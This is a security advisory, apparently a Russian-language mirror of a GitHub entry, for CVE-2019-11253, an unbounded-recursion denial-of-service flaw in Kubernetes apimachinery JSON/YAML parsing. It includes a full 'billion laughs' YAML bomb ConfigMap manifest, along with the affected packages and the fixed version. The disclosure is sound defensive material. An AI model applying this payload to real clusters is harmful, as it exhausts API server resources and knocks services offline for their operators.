GHSA-74fp-r6jw-h4mp

Опубликовано: 08 фев. 2023

Источник: github

Github: Прошло ревью

CVSS3: 7.5

Описание

Kubernetes apimachinery packages vulnerable to unbounded recursion in JSON or YAML parsing

CVE-2019-11253 is a denial of service vulnerability in the kube-apiserver, allowing authorized users sending malicious YAML or JSON payloads to cause kube-apiserver to consume excessive CPU or memory, potentially crashing and becoming unavailable.

When creating a ConfigMap object which has recursive references contained in it, excessive CPU usage can occur. This appears to be an instance of a "Billion Laughs" attack which is quite well known as an XML parsing issue.

Applying this manifest to a cluster causes the client to hang for some time with considerable CPU usage.

apiVersion: v1 data: a: &a ["web","web","web","web","web","web","web","web","web"] b: &b [*a,*a,*a,*a,*a,*a,*a,*a,*a] c: &c [*b,*b,*b,*b,*b,*b,*b,*b,*b] d: &d [*c,*c,*c,*c,*c,*c,*c,*c,*c] e: &e [*d,*d,*d,*d,*d,*d,*d,*d,*d] f: &f [*e,*e,*e,*e,*e,*e,*e,*e,*e] g: &g [*f,*f,*f,*f,*f,*f,*f,*f,*f] h: &h [*g,*g,*g,*g,*g,*g,*g,*g,*g] i: &i [*h,*h,*h,*h,*h,*h,*h,*h,*h] kind: ConfigMap metadata: name: yaml-bomb namespace: default

Specific Go Packages Affected

k8s.io/apimachinery/pkg/runtime/serializer/json
k8s.io/apimachinery/pkg/util/json

Ссылки

Пакеты

Наименование

k8s.io/apimachinery

Затронутые версииВерсия исправления

< 0.0.0-20190927203648-9ce6eca90e73

0.0.0-20190927203648-9ce6eca90e73

7.5 High

CVSS3

Дефекты

CWE-20

CWE-776

7.5 High

CVSS3

Дефекты

CWE-20

CWE-776